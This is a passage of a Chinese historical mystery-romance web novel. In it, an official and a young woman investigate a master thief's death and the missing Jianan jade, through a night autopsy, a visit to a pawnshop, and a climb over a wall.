从上到下,并没有找到迦南玉,难道是凶手将迦南玉拿走了?
贺扶又转问温余:“温小姐可有什么发现?”
温余也爱莫能助,“毒死的,小偷,再没了。”
贺扶起身,拿出帕子擦了擦手,对启蛰道:“找人送去县衙,找仵作验尸,问所中何毒。”
启蛰得令后转身去外面找人,路过温余时耐不住嘴痒,说了一句:“你这人一直这么倒霉的吗?一来就碰到死人。”
温余看着启蛰快步离去的背影,忍不住问贺扶:“他这人一直这么嘴碎的吗?一见面就说个不停。”
贺扶也有些无奈:“启蛰自小就跟着我,和府中那些不拘小节的侍卫们待得久了,不免染上些坏习惯,再说他今年不过十五岁。少年心性,喜好争个高低对错,倒是正常,温小姐担待。”
“我倒是觉得好玩,免得无聊了。”温余又忽得转问一句,“那贺大人年少意气时也是这般模样?”
贺扶却摇了摇头,“这倒没有,我似乎有些……少年老成?”
“哇,贺大人不愧天纵奇才,就是与旁人不一样。”温余十分敏锐的拍起马屁。
“不过少年老成一说未免有些太满,”贺扶又觉自己说的不太正确,“此一词应当更适合说我那位师兄。”
“师兄?”温余疑惑道,“你还有师兄?”
贺扶点头道:“当朝首辅,章执章盈川。”
说罢,他又似想到了什么,“说到师兄,还有一件巧事……”
不过没等他将这“巧事”讲清楚,就见客栈老板提着衣摆跑来,看他的样子怕是刚刚醒来就被告知了后院死人的消息,顶着鸡窝似的头发就跑来了。
“李掌柜。”贺扶笑着向他问好,但李掌柜此刻哪顾得上什么问好,看着地上的尸体哎呦哎呦的叫着。
“我这开了半辈子的店,怎么就突然死了个人呢?”
像客栈之类的地方,最忌讳的就是发生命案。就算是结案了,打扫干净了,大家也会觉得害怕、晦气,自然是不敢入住了。
温余不免有些同情这位细心的掌柜,若是传出去了怕是要被断了财路。
10. 迦南玉案(二)
“李掌柜可见过这人?”贺扶问他。
李掌柜拢了拢外衫,凑上前仔细看了看死者的脸,摇头:“我也没见过这人啊,也不是我店里的房客,怎么会出现在我家后院呢?”
“是我在这个菜筐里找到的。”温余伸手指了指那个被自己拆了大半的竹编菜筐,而后又问他,“李掌柜能否告诉我这菜是谁送过来的,又是何时送来的?”
李掌柜立刻答道:“是一位叫高升的农户,按照约定时间应该是每日寅时末从后门送来的。”
“他为客栈送菜有多长时间了?”贺扶问。
李掌柜低着头算了算,道:“大概……有两年了吧。”
“那您可知他家住何方,又对他的为人之类有什么了解?”贺扶追问道。
“他家住城东头,家里就他一个人,平日里来我这儿送完菜就去街上摆摊卖菜。至于为人,他看起来挺老实的,不像是会杀人的样子。”
不过片刻,启蛰便带着衙役回来了。
见到贺扶,众衙役向他行了个礼,贺扶指指地上的尸体,道:“麻烦仵作带回验尸。”
“是,贺大人。”
衙役们小心翼翼地将尸体从后门抬走。温余走到贺扶身边问他:“接下来是不是要去街上找那位送菜的高升了?”
贺扶点头,又问她:“温小姐可要一起?”
“当然要去!”温余兴奋道,查案嘛,她最喜欢了!
见两人相约一同去找那送菜人,启蛰立刻上前道:“我也要去!”
“又没说不让你去,着什么急啊?”
“反正我会随时看着你的,绝不让你的阴谋得逞!”启蛰对温余暗暗咬牙道。
但没等温余回击就听贺扶开口拒绝:“启蛰你便不用跟着了。”
“什么?!”启蛰声量一瞬提高,他围在贺扶身边,像一只向主人讨摸的小狗,“为什么啊?为什么我不能去?”
温余偷笑几声,又听贺扶道:“你去县衙查查近些日子来进入湖州城内的人员名册,顺便去找找高升的户籍信息。”
启蛰万般不情愿,但还是要听贺扶的指示,只能闷闷道一声:“哦。”
若是他长了耳朵,此刻怕是已经耷拉下来了,温余心想。
“温小姐,我们走吧。”贺扶对温余温柔一笑。
临走前,温余凑到还在原地站着的启蛰身边,阴阳怪气道:“启蛰,你便不用跟着了。”
学完贺扶的话,她又嘲笑道:“你家大人不要你咯!”
启蛰拔剑要去砍她,她便飞快的赶上贺扶的脚步,顺便转头向他做了个鬼脸。
看着温余那欢欣的背影,启蛰只能在原地生闷气。
刚刚的一切贺扶自然都是看在眼里的,走出客栈他便带着笑意道:“温小姐当真孩童心性。”
“谁叫他老和我呛?”温余理直气壮道,“我可绝不会让自己吃亏的!”
“如此倒是不必担心温小姐在外受人欺负了。”
“就算是被欺负了,我也会千百倍的还回去!”
就像对温淳那样,贺扶在心中暗暗补充。
“不过……”温余突然停住了脚步,笑着凑到贺扶身边,“贺大人也会担心我在外头受欺负吗?”
少女发间的海棠香气再一次扑鼻,贺扶一怔,侧过脸去又咳了一声,道:“出门在外,自然是要注意自身安危的。”
温余直回身子,叹道:“贺大人真是关心下属。”
“并非是下属。”贺扶否认道,“温小姐算是贺某的好友。”
“好友?”温余歪头看他,却见他轻笑一声打趣:“若温小姐不介意唤贺某一声兄长也可以。”
温余沉默半晌,直接道:“不要。”
她才不要被占便宜呢!
贺扶也笑着摇头,“那便是好友吧。”
温余四下看了看又回过头来问贺扶:“那作为好友,贺大人能否答应我一件事情?”
“何事?”贺扶笑问。
温余向街边一指,是一个卖杂货的小摊,“我想要那个草编的小蚱蜢!”
贺扶循着温余的指向看去,那摊子上的蚱蜢编得确实精巧,他轻轻点头后走向那个小摊。
身长玉立、眉目含情,说起话来又款款温柔,那小摊摊主垂髫的小女儿竟是盯着他不眨眼。
贺扶本就喜欢乖巧的小姑娘,见着这脸蛋圆乎乎的小女孩忍不住蹲下身捏了捏她的脸。
温余看那小姑娘对着贺扶小脸通红,但还是大胆道:“哥哥真好看!”
听这小姑娘直白的夸赞,贺扶绽开一个笑,从袖中拿出一颗糖递给小姑娘,离开时还轻轻摸了摸她的头。
温余从贺扶手里接过小蚱蜢,调笑道:“贺大人竟然还随身带糖啊?”
“有时若是将启蛰惹得过了,拿来哄他的。”说着,贺扶又从袖中掏出一颗糖来,问,“温小姐可是也想要一颗?”
温余轻轻推回贺扶的手,在人际交往上向来不拘小节的她自然是没有感受到手掌接触的那一瞬对面那人明显的一颤。
她回绝道:“还是留着等贺大人什么时候把我也惹得过了,再拿来哄我吧。”
贺扶很快收起那一瞬的杂乱心绪,将糖放回袖中,柔声道:“好。”
二人又向前走了一段路,前方便是农户卖菜的路段,各种各样的新鲜蔬菜摆在路边,或用篮子装起,或用麻布垫着,那些蔬菜大多都带着露水和泥土,应当是刚摘出来不久便拿来卖的。
温余随便找了一个菜农上前问他:“大伯,您可知这边有一位叫高升的菜农?”
那大伯听后冲着斜对面一个憨厚壮实的男人指了指,道:“高升啊,就他。”
温余道了声谢谢后回到贺扶身边,“在那儿。”
“好,我们走吧。”
二人行至高升面前,他此刻正若无其事地摆放蔬菜,发现自头顶投下的阴影后立马喜笑颜开地抬头:“哟,老爷夫人你们要些什么菜?”
“这,并非是……”
听到高升脱口而出的称呼,贺扶一时无措,若是仔细查看还能发现他微微发红的耳尖。
而温余倒是没什么反应,自然接道:“这个还有这个都要。”
温余随意指了几个,但对高升来说也是一笔极大的生意,他瞬间乐开了花,动作麻利地为她拿菜。
接过菜,温余付过了钱,如同日常的随意打听一般问他:“我家老爷近日迷上了泡酒,不知大哥这里可能买
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到蛇虫什么的?”
“这些东西我倒是没有,不过我家田地附近挺多的,夫人若是需要我今日回去可以抓一些,要不您明日再来?”
温余继续问:“不知您家农田在何处?”
“就出城往西二里地,不远。附近林子大,蛇虫自然也多。”高升毫无保留。
温余点头道:“多谢。”
“温小姐觉得他不是凶手?”贺扶顺手拎过温余手中的菜,笑问。
“当然了,根据客栈掌柜对他的描述还有他方才的行为表情,要是真杀了人肯定不会像他这样还若无其事地来卖菜。”温余向贺扶说着自己的推测,“那人要是他杀的,把尸体装在菜筐里送到客栈不就是在和别人说‘人是我杀的,快来抓我’嘛?”
“贺某所想,与温小姐无二。”贺扶道,“那稍后我们便去城外看看?”
“正有此意。”
回到客栈,贺扶叫住要回房的温余:“温小姐,你的菜。”
温余还将手放在房门上,回过头冲贺扶狡黠一笑:“那是贺大人的菜,贺大人日后可要戒备一些啊!”
贺扶闻言低头去看自己挂在腰间的荷包,那绳结确实与之前自己所系的有所差异。
“这温小姐还真是……”
“大人!”启蛰正巧也回来了。
贺扶回头问他:“有什么发现?”
启蛰答道:“高升那人没什么问题,连着好几代都是湖州的农户,为人也老实不太可能杀人,至于最近进入湖州城的人……”
他顿了顿,“很奇怪,名册里竟然没有飞舟的信息,编造的身份都没有。这府衙也太不负责任了。”
“不一定。”贺扶道。
“您是说府衙中有奸细?”启蛰猜测道。
“飞舟在一月前盗走迦南玉后失踪,京城到湖州的路程最多需要半月。飞舟通缉令近乎遍布全国,湖州防守不会不知道,而他能在湖州待这么多天背后肯定有人相助。”
“那我们需要查查府衙的人吗?”启蛰问。
“要查。”贺扶严肃道,“但还有一件要紧的事,迦南玉究竟在哪里?”
“说不准就同大人推测的一样,在凶手身上呢?”启蛰道。
“还是要多留一路的,若是凶手不知迦南玉一事甚至不知飞舟身份,那要寻迦南玉的下落便麻烦了。”贺扶转眼看向窗外,春色融融,今日已入四月,距离皇后生辰已不到一月,再加上回程时间,不能再拖了。
“不过,启蛰今日去府衙还见到了一人。”启蛰忽然想起。
贺扶回头问他:“何人?”
“首辅夫人。”启蛰答道。
贺扶忽又想起之前他想与温余说的那件巧事,便是当朝的首辅夫人如今也在湖州,没想到启蛰会在府衙见到她。
“兄嫂可有同你说什么?”贺扶问他。
“首辅夫人没说什么,就是冲我点了点头。”
虽说贺扶与首辅交情甚笃,常常去首辅府中做客,自然也常与首辅夫人相见。他每次都跟着,但他对首辅夫人还是了解甚少。
究其原因,大概是那位鼎鼎大名的首辅夫人脾性着实是有些骇人了,整日沉着一张脸,只是靠近便觉得周身都被冻起来了。
11. 迦南玉案(三)
神偷飞舟的尸体被暂时停放在府衙的停尸房中。那地方终日阴冷非常,又加上停放尸体的时间长了,未免会有些腐臭味。除过仵作验尸,平日里是极少有旁人过来的。
而此刻夜中,更是骇人的紧。窗户不知被何人打开,房中用来隔开尸体的白色纱幔被风吹起,下摆被从窗户带出,一下一下扫着窗边已酣然入睡的衙役,他伸手挠挠鼻子,继续睡去。
而白色纱幔间,还站着一个人。
是一位身量较高的女子,身着白衣,面覆白纱,只露出一双如画美目聚精会神地盯着面前的尸体。她屈身,手下动作却是极其的利落,刀落下便在尸体皮肉上划下一道长长的刀口。
忽然,窗外又起了一阵风,女子手腕一翻,手中的窄刀向窗口飞去。刀刃大半嵌入柱中,刀柄还在微微颤抖。
“饶命!”温余放在柱子上的手立刻收回,开口求饶。
看着那还带着半截肠子的窄刀,她只觉得心都快从嗓子眼跳出来了!
还好收得快,要不然手就没了。
温余暗自庆幸间,那女子已走到她面前。
女子冷冷盯着她,声音也是极为清冷:“何人?为何偷看?”
“我、我是贺大人派来的。”温余被盯得发毛,说话都有些结巴。
这是她第一次被一个姑娘盯得害怕,之前可是从未有过。
女子伸手十分轻松地把刀从柱子上拔出,道:“贺大人?”
“对,大理寺少卿,贺扶贺大人。”
话虽如此,其实不然。她是因为大半夜睡不着,总觉得飞舟身上应该还有谜团才前来府衙的,谁知道这里还有个人!
“我知道。”
女子转身要走,温余伸手想挽留问她是何人,但那女子似乎知晓她的意思,没有回头,继续向尸体走去,平静道:“门开着。”
简洁一句,温余瞬间领悟,小心翼翼地从门外进入停尸房,生怕惊醒衙役。她小跑到女子身边,正要开口便听女子说:“稍等片刻。”
温余立刻闭上嘴,去看女子手下的动作。
下刀快准狠,且能十分精准的找到脏器的位置。尸体的臭味冲天,但她面色不变,没有丝毫影响。
身体发肤受之父母,左晋律法是明令禁止任何损伤尸体的行为的,但这人竟然敢偷偷剖尸,门口的守卫应当也是她迷晕的。
看来这姑娘也是个离经叛道的厉害人,温余心想。
随着女子将飞舟的胃割开,一块被食物残渣和血液沾满的翠玉便出现在温余眼前。
“迦南玉?!”温余惊叫出声,却又立刻捂住嘴,惊慌地看向女子。
这人竟然是把玉吞入腹中,藏了起来。
女子伸手将迦南玉拿出放置一边后开始将尸体的脏器归位。她问:“你认识这玉?”
“听说,猜的。”温余道。
“那你猜得很准。”
女子开始缝合尸体。
“你是怎么知道迦南玉在他身上的?”温余问。
“猜的。”女子淡淡道。
温余没有再开口,安静地看她缝合尸体。
前一个时辰,温余躺在床上辗转难眠便开始思考飞舟的死因。中毒,脖颈处有红痕。但据她所知,应该没有什么毒药能有这本事。但有一种蛇,叫做无尾蛇,虽叫无尾但实则有尾,不过身子较短,便得了此名,经常出现在茂密山林中。
被这蛇咬之后,脖颈处则会出现红痕。所以飞舟的死因便是被毒蛇咬伤,毒发而死。虽然离谱,但温余觉得这飞舟是一时失足,被毒蛇咬了,毒死然后不慎掉入菜筐。
那他就是意外身亡,既然没有凶手,那迦南玉的去处就好说了,就在他身上。所以只要他身上有被蛇咬过的痕迹,那她的推测就对了。
因此,她才打算夜探停尸房,没想到遇到了这姑娘。
“今晚之事莫要告诉他人。”缝合好尸体,又将尸体的衣服穿上后,她只留下这句话便拿着玉要走。
温余叫住她:“那玉你要拿走?”
女子没有回头,从腰间扯下一块白玉扔给温余,道:“莫要告诉任何人,贺扶也不行。”
温余稳当当地接住,心道这是封口费?她究竟是什么人?
为何来此?是为了迦南玉?
难不成和飞舟是一伙的?不像啊……
就这样带着疑惑,温余一夜没能合眼,直到第二日一早出门就听启蛰笑她:“你大晚上和人打架了不成?两个眼窝青成那样!”
见启蛰笑得开心,温余一拳打在他右眼上。
“啊!”启蛰吃痛叫了一声,喊道,“你敢打我?!”
温余没有理会他的震惊,笑着欣赏自己的“杰作”:“啧,完美。要不要再来一个?”
“你!你!”启蛰指着温余,心中不断告诉自己:大人教导过的,不能打女人,不能打女人,就算对方是个疯婆子也不能打女人……
“受死吧!”
最后,启蛰还是没能成功劝说自己,抬手就要往温余身上打,温余却转身一躲,用贺扶的身子挡住自己。
“贺大人,你看看他!”温余恶人先告状。
“你!大人,是她先打我的!”启蛰也不甘落后。
贺扶无奈道:“你们就非要一早就聚在我门口吵闹吗?”
温余抓着贺扶的衣袖,夹着嗓子楚楚可怜道:“我当然知道不该打扰贺大人休息,都怪那人嘴太碎,老惹得我生气,贺大人可不要怪我。”
“惺惺作态!”启蛰叫道,“分明是你脾气差,动辄就挥拳打人,还怪我?”
见战争又要爆发,贺扶立即打断,道:“我已向掌柜订了餐食,还是快些下去吧。”
听到有吃的,温余立刻跳起,一夜未眠,她半夜就觉得饿了。
“多谢大人。”
见她离开用餐,启蛰对贺扶抱怨道:“大人,我们能不能把她赶走啊?简直是个疯子!”
“启蛰,要说多少次莫要背后语人是非。”贺扶教导道。
“可她未免也太可恶了!”启蛰胸膛起伏,双颊未褪去软肉鼓起来,整个人就像一只憋了气的刺豚。
贺扶见他这般,直接戳破他的小心思:“有温小姐与你打闹解闷,你不是也很开心?”
小心思被戳破,启蛰一时慌乱,但也不忘嘴硬:“谁开心了?反正我讨厌她!”
贺扶笑着摇摇头,对启蛰柔声道:“快些去用餐吧,昨日四处奔波辛苦了。”
此刻倒是不需要糖,只要贺扶一句关照便让启蛰心头的气消了一大半,他闷声道:“是。”
一顿早膳,用的也是硝烟弥漫。温余和启蛰不时互瞪对方,不时争谁吃得快,又不时互相不搭理,被夹在中间的贺扶见劝解无果,只能不再关注,专心用餐。
“昨日我又去找高升打听了一下,据他回忆,昨日一早他便像往常一样去田里摘菜,但装好菜后就去一旁的林子里解手了,没想到看到一个人影慌忙地跑过,解完手
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后再去看却没有再找到那人的影子,他就没当回事把菜筐装车送去了客栈。”启蛰向两人分享自己查到的消息。
“我猜,他是被蛇咬死的!”温余肯定道。
“啊?那可是飞舟啊,神偷,你以为是你啊!”启蛰觉得不可信。
温余反驳道:“人有失足马有失蹄,聪明一世还有糊涂的时候呢!当把一切可能都推翻,剩下的那个再不可能都是真相!”
启蛰还是不信,温余便将自己昨夜的推测说出,再加上一句:“你若不信就去看看尸体,说不准会有线索呢!”
贺扶低头沉思后赞同温余的说法:“按照如今所得线索,也不是不可能。但其在湖州的这些日子又是谁在收留他?他又为何突然去到城外,是逃命还是见什么人?以及最重要的……”
“迦南玉在哪里?”启蛰接话,却瞥见一旁的温余不知何时已神游天外。
“喂,平时话那么多现在怎么不说话了?”启蛰用手在温余眼前晃了晃。
温余惊醒,道:“我也是这么觉得的。”
“你听到我们说话了吗?就觉得。”启蛰毫不留情的拆穿。
温余反驳道:“听到了!听到了!只是昨夜没睡好,走神而已。”
“切,大晚上不睡觉谁知道你在做什么好事。”启蛰道。
“你少说几句会死啊!”温余白了他一眼。
贺扶无奈屈起手指轻轻敲了敲桌子,道:“好了好了,正事要紧。”
等两人息战,贺扶继续道:“接下来,就要去府衙看看了。”
“是,启蛰这就去备马车。”启蛰转身离开。
温余看向贺扶,笑着推辞:“我就先不去了……”
“哦?”贺扶歪头看着她,“温小姐平日里不是很积极吗?是出什么事了吗?”
温余指着自己眼下的乌青道:“我昨夜没睡好,贺大人也看到了,所以现在想补补觉。”
“既是没睡好,今早还有力气和启蛰斗嘴?”贺扶打趣道。
温余低下头,“这个嘛……”
“你啊……”
许是平日里对这启蛰习惯了,贺扶下意识的抬手敲了敲她的头,温余感受到头顶那轻柔中带着宠溺的一敲,震惊抬头。
贺扶一顿后飞快的收回手,轻咳一声:“既然累了那便去休息吧,身体重要。”
“多谢贺大人啦,贺大人体贴入微,小女感激涕零!”温余笑得眉眼弯弯,贺扶也不禁跟着她笑起来。
“对了。”走出几步,贺扶又忽然回头,“日后莫要单独行动,若是出事便不好了。”
温余一怔,他,知道了?
“大人,马车备好了。”启蛰从屋外跑来。
“那我们便走吧。”贺扶笑着向温余告辞后转身迎上去。
启蛰看了稳坐不动的温余一眼,问她:“你不去啊?”
“累了,休息。”温余用手撑着头,笑道。
“切,打我的时候没见你累。”
“因为你欠揍,所以我打你的时候就不觉得累了,要不你再奉献一下,让我打你一拳,那样我可能就不累了。”
“不去还好呢,烦人精。”
“走好啊,记仇怪。”
贺扶都走出了门,启蛰还在与温余斗嘴,看温余此刻的架势,哪儿还有一点没睡好的样子。
“启蛰,走了。”贺扶催促道。
“来了大人。”启蛰最后冲温余哼了一声后,跟上贺扶的身影。
12. 迦南玉案(四)
等二人离开,温余缓缓摸到堂中,问李掌柜:“李掌柜,你可知附近有什么不坑人的当铺吗?”
李掌柜仔细想了想后回答道:“出了门后左拐,到街口再左拐,顺着数第三个就是。温小姐找当铺做什么?”
“有些小家当,想卖了换点钱花,您忙啊,我先走了。”
温余按照李掌柜的指引往当铺走,进了当铺后发现里面竟然还排着队。
不愧是良心当铺,客人真多。温余心想。
她上前排上队后,觉得无聊,便顺手拿出昨夜那姑娘给的白玉在手里抛了抛。
既然是封口费,那她怎么用都行吧?换成银子应该要更方便一些!温余只觉自己简直是个天才!
等待的时间很长,温余玩了玩白玉后就觉得无聊了,只好开始观察前面排队的人。
有当字画的书生,看他面黄肌瘦、衣衫破旧的样子应当是穷困潦倒,没钱维持生计了;还有当珠宝的夫妇,背着包袱应当是要搬迁……
温余将前面的客人都看了一圈儿后将目光锁定在自己前面排着队的男人身上。
他两手空空,但胸前却微微鼓起,手还时不时摸摸胸口,怕里面的东西丢了。
看来是一件很贵重的东西,放在贴心的地方不能被人看见,时不时要摸一摸怕被人偷走。温余推测着,前方的队伍也缩短了一些。
等到他前面的男人到窗口时温余好奇地侧头看了看。
男人从胸口拿出一个黑色布包,小心翼翼地递给老板,那当铺老板双眼细小,鼻头也小,唇色极深,上唇还微微外凸。
贼眉鼠眼,身体还虚。这是温余对这人的第一印象,
老板接过黑色布包,遮遮掩掩地打开,而温余因为侧着看正巧能看到一些。
待温余彻底看清那东西后却心下一怔,那东西她见过,与昨日从飞舟腹中找到了迦南玉一模一样,难不成昨夜那个人真的和飞舟是一伙儿的?
但她又一看,松了口气。
很明显,那是个赝品,昨夜的那块玉很是清透,但现在这个却是暗绿。
难道是那姑娘拿走了真的,这人就只能拿个假的了?
温余看了当玉的那个男人一眼,这人她应该见过,在昨日启蛰找府衙来抬尸体的时候。
她暗暗转了转腕间的珠串,取下一颗玉珠捏碎,悄悄将香粉沾在男人衣摆上。
男人接过老板给的银子后就快步离开了,温余的目光随着他看去,向右走。
“这位客官当些什么?”
老板的声音也尖细,听得温余浑身起鸡皮疙瘩。
温余将手中的白玉往腰间一塞,将珠串抵上,“这个。”
老板接过珠串左右看了看,笑得贼兮兮的,道:“好物件,五贯钱,如何?”
温余暗暗一笑,自己拿石头染料做的假货赝品竟然还能骗过这见多识广的当铺老板。
“好,五贯就五贯。”
温余接过钱,心道:赚翻了!
出了当铺门,温余循着男人离开的方向跟上。
香味的尽头,是府衙的后门。
温余靠在墙上,看着男人离开的背影,心想:看来问题在当铺那边,还是等贺扶回去了再一起商讨吧,毕竟要去当铺查探可免不了一场争斗,打架这事她可不擅长,可不能白白去送死。
而此时的府衙正堂内,湖州的姚知州正一脸震惊地看着贺扶。
“贺大人,您说这府衙内有奸细?”
贺扶点头:“飞舟能在您丝毫不知的情况下进入湖州还能在湖州待上半月,定然是有人在其后帮忙,而且很大可能是府衙中的人。”
姚知州拧眉道:“怪下官疏忽,下官定下令彻查,向贺大人复命。”
“那便劳烦姚大人了。”
一个侍卫从侧堂端了茶水过来,将其放在贺扶身旁的桌上后拿起茶杯为他倒茶。
贺扶接过茶道了声“劳烦”后正欲饮茶,却忽得闻到一股熟悉的香味。
他抬眼去看那侍卫,便见他眼神下意识地躲闪。
贺扶转而将茶杯放下,对姚知州道:“关于府衙内的奸细,姚大人若是抓到还请交给贺某处置。”
姚知州附和道:“那是定然。”
贺扶看到,刚刚提到“奸细”二字时,那侍卫的瞳孔有一瞬间的缩紧。
“既如此,贺某便不再打扰了。”贺扶起身理理衣摆。
“贺大人慢走,下官便不相送了。”
“启蛰,去暗中查查刚刚敬茶的那人。”
出了门,贺扶命令道。
“大人怀疑他就是奸细?”启蛰问。
“刚刚我刻意提到奸细一事,他的表情有些不对。”贺扶道。
“不愧是大人您,察言观色就是厉害!”启蛰赞道,随后又疑惑,“那您为何要诈他?”
贺扶又想起方才一瞬的香气,轻笑一声:“那便要多谢温小姐了。”
“啊?”启蛰更疑惑了,“她又没来,谢她做什么?”
“你没有闻到那人身上的味道?”贺扶问。
启蛰觉得奇怪,他刚刚可什么都没闻到,而且他也不会莫名其妙去凑着闻一个男人,“什么味道?”
“……”贺扶欲言又止,“罢了。”
看着贺扶唇角似有若无的笑,启蛰表面作罢,内心却疯狂好奇,究竟是什么味道?
果然,跟那个野丫头待久了连大人也变得奇怪了,都怪她!
贺扶回到客栈后温余已经在屋里等着了。
温余往贺扶身后看了看,没见到启蛰的身影,便问他:“启蛰怎么没回来?”
“启蛰去调查府衙奸细了。”贺扶回答。
温余站起身,兴奋道:“我今天应该见到那个奸细了!”
“贺某知道。”贺扶笑着道。
“啊?”温余愣住,“你怎么知道的?”
知晓他厉害,但他竟还有未卜先知的能力?
贺扶气定神闲地坐下,为自己倒了一杯清茶,解释道:“贺某今日在府衙中闻到一人身上染了些海棠香气,应当是温小姐的手笔吧?”
温余缓缓坐下,道:“是我。我今日在当铺遇到他就觉得他可疑,所以就在他身上留了记号。所以你闻到气味就派启蛰去调查他了?”
贺扶点头,“温小姐为何怀疑他?”
温余一顿,“直觉。”
她本想说实话的,奈何拿人手短,还是帮忙瞒着些好了。
“嗯。”贺扶端起茶杯啜饮一口。
见贺扶竟就这么相信了,温余还是有些惊讶的,她问:“您就这么相信我的直觉?”
“直觉有时候确实是案件侦破的关键,况且以贺某对温小姐的了解,温小姐的直觉定然不会出错的。”
“你就这么相信我?”我都不相信我自己。
“相信。”
贺扶说得真诚,倒是让温余有些不好意思了,她暗暗发誓,日后绝对不会再
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诓骗他了。
“不过……”
正当温余为自己的“恶劣行径”感到惭愧时,贺扶却又问道:“温小姐为何要去当铺?”
“呃……”温余停顿片刻,解释道,“我没带多少钱出来,所以就只能当点东西。”
“既然缺钱为何不同贺某要?”
“有些不好意思嘛……”温余笑得勉强,“毕竟您都带我出来了,怎么还能要您的钱呢?”
贺扶对金钱倒是不在意,毕竟他有钱,也从不缺钱,“不必不好意思,贺某既带温小姐外出定是要对温小姐负责任的,不过温小姐当了什么东西,贺某去赎回来。”
“一条我随身戴了很久的珠串,不重要的。”温余道。
“既是随身之物,便不可轻易丢弃,况且有贺某在,温小姐不必为金钱烦忧,那便早些去把它赎回来吧。”
见贺扶坚持,温余也正好不必再想理由骗他和自己去当铺走一趟。
“那我们用过晚饭就走?”温余问道。
“好。”
“不过我还有一事想问贺大人。”
“何事?”
“您可善武?”若是不善武那岂不是两个人去送死?
贺扶轻笑一声,道:“君子六艺,礼乐射御书数,再者为朝中重臣自然是要能文能武的。”
“那就好。”温余松了口气。
“温小姐觉得贺某不像是会武的人?”
贺扶致命一问,温余立马使出她溜须拍马的本领,道:“那是因为我之前总觉得人无完人,贺大人既已在相貌、文赋和礼仪方面都如此出众,定然是会有所不足,但却没想到您竟然这般全能,简直是天上无二地上无双,我当真佩服啊!”
贺扶见她这夸张的样子,忍俊不禁。
“其实我也是有所不足的。”
“怎么会!”温余反驳道。
贺扶为温余也倒了杯茶,推至她面前后,柔声道:“我的老师便同我说过,我所想所思过于浅显,总想着要遗世独立,不愿虚与委蛇,过刚易折,容易吃亏。”
“确实。”温余点头。
“嗯?温小姐也觉得?”贺扶喝茶的动作一顿。
温余立刻改口,“这哪里是缺点,这是说您出淤泥而不染,濯清涟而不妖,是位真真正正的君子。”
“贺某觉得温小姐在宫中定然会很吃得开。”贺扶饮了口茶。
“为什么?”温余疑惑道。
“宫中大多人都自以为是世上无双的绝世贤才,说自己好的便是友,道自己错处的便是敌。”
“这和扬州的那些高门大户也差不多嘛。”温余嘟囔道。
“所以贺某还是想温小姐能多说些贺某的错处。”
“你想让我找你茬呀?”
“君子立世应当知错而后改之,怎能一意孤行,闭门造车呢?”
温余点点头后又摇摇头,问:“那为何非要让我找你的错处?”
贺扶微微一笑道:“因为温小姐给我的感觉很不一样。”
“哦。”温余心下了然,贺扶作为天之骄子,平日里见着的肯定都是些温婉的世家小姐,大多都受到礼仪规训不敢在人前到不是,更何况对方是圣上极其喜爱的贺扶呢?但她不同,没有丝毫礼仪而言,骂人也不藏着掖着,就别提简简单单的提意见了。
“晚膳应当备好,我们快些下去吧。”贺扶道。
“好,吃饭!”温余兴奋站起,谁能不喜欢吃饭呢!
13. 迦南玉案(五)
用过晚饭后,二人便一同去了当铺,而到了门口才发现当铺的门竟已经关上了。
“不对啊,不应该这么早关门才是。”温余叉着腰看着紧闭的门扉有些疑惑,她转而去问一旁摆摊卖小食的妇人,“大娘,这当铺平时也这么早关门的吗?”
大娘也很疑惑,道:“不是啊,平日里都是二更才关门的。”
“知道了,谢谢大娘!”温余笑着道谢。
“看来有些蹊跷。”贺扶道。
“定是与今天那奸细当的东西有关!”温余提议道,“进去看看?”
“从何处进入?”
温余露出个不怀好意的笑,拉着贺扶的衣袖带着他往当铺旁边走:“来这边。”
温余在一堵墙旁边停下,贺扶看了看不算太高的围墙,问道:“逾墙?”
“对。”温余道,“贺大人不会念及君子礼数,不愿这么做吧?”
谁料贺扶竟笑着摇头,“年少时,贺某也曾从书院逾墙外出。”
“真的?”这倒是温余没想到的,像贺扶这种天仙似的翩翩公子竟然也会翻墙?
“为何翻墙?私会心上人?”既然他都能翻墙了,那温余猜些更逾越的事情也是应该的。
“这倒不是,当时是为了抢乐坊的一本箫谱。”念及年少荒唐,贺扶竟有些怀念,不过那本箫谱他最后也未能抢到,因为他刚刚翻过墙后就被师兄逮住了,还被罚着抄了三遍《晋礼》。
罚抄便罢,但失了那本心心念念的箫谱可是让他难过了小半年。
“贺大人还会箫?”温余惊讶道。
“略通一二。”贺扶笑道,“温小姐若是想听改日我可为温小姐奏一曲。”
“那我可得沐浴焚香,好好听听。”温余目光热切。
“温小姐莫要在打趣贺某了,快些进去吧。”贺扶暗暗别开脸。
温余道了声“好”后就开始四处张望,贺扶用眼睛估算了这墙的高度准备找地方借力飞上去,见温余不知从何处拿来一个筐子后,疑惑道:“温小姐拿这筐做什么?”
温余将筐子搬到墙下,回答道:“踩着啊,我又不会飞。”
贺扶听后一笑,对着她伸出一只手,道:“温小姐若不介意,贺某可带着你一同上去。”
温余听后将筐一甩,凑近贺扶兴奋道:“贺大人会飞啊?”
贺扶解释道:“并非是飞,不过是轻功借力罢了。”
“轻功?”温余眼中期待更甚,双手抓上贺扶的手臂,道:“那贺大人能否教教我啊?”
“可这并非一朝一夕就能学会。”贺扶自然也愿意教她,但也不免为难。
温余自然道:“可以啊,我以后可以每天都跟着贺大人学,不嫌苦,不嫌累。”
“好,既然温小姐想学,那贺某便当这个老师。”贺扶柔声问她,“可准备好了?”
温余往贺扶怀里凑了凑,整个脸贴在他的胸口,甚至能清晰的感受到他前襟上绣得精细的竹纹,双手环着他的腰,道:“准备好了。”
“温小姐……”贺扶有些为难,“环得有些紧了……”
“哦,那我松一点。”温余听话的松了松胳膊。
等贺扶能放开动作后,道了声“冒犯”,揽住温余的肩,往对面墙边一蹬便越轻飘飘过了墙檐。
整个人离开地面的失重感使得温余有一瞬间的头晕目眩,等不适感消失后她便明显的听到耳边传来的心跳声,犹如擂鼓一般。
这轻功果真困难,竟能人让累到心跳如此快速。温余心想。
等安稳落在地上后,贺扶立刻松开了手。借着月光,温余一抬头便看到了他红透的脖颈。
“这轻功竟这么困难。”温余感叹道。
贺扶轻咳一声,道:“确实。”
那我可得好好学。温余暗下决心。
“穿过院子应该就是存放物品的地方了,贺大人我们快点走吧。”温余指了指那座熄了灯的屋子。
“好。”
贺扶快步上前,将温余护在身后。二人一同向那屋子走去。
“这里。”温余小心翼翼的打开窗户,对贺扶悄声道。
温余先翻过窗户后转身去看贺扶,见他不紧不慢,动作优雅,不禁心中感叹道:“不愧是贺大人,翻个窗户竟也这般得体。”
“温小姐可有看清那人当了什么?”贺扶看着面前一排排摆放整齐的货架,开口问道。
